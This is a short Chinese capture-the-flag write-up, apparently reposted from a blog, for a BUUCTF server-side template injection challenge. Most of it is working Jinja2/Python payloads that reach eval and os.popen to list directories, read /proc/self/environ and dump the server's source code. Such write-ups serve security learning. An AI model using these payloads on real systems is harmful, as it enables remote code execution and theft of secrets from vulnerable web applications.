Buuctf [第三章 web进阶]SSTI 20
作者:互联网
- 进入页面用arjun扫描一下有什么url参数
- 这道题是最基础的了
- 直接给payload前面的payload吧
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')}}
- 页面返回:password is wrong: app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
- 我尝试了读取当前运行环境
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /proc/self/environ").read()')}}
- 里面有个假的flag,真让人讨厌呀!
- 读取前面app文件夹
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')}}
- 返回:Dockerfile docker-compose.yml entrypoint.sh server.py
- 读取server.py源码
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')}}
- 得到flag~~~~
标签:__,web,Buuctf,进阶,globals,__.__,.__,eval,177 来源: https://blog.csdn.net/CyhDl666/article/details/115004845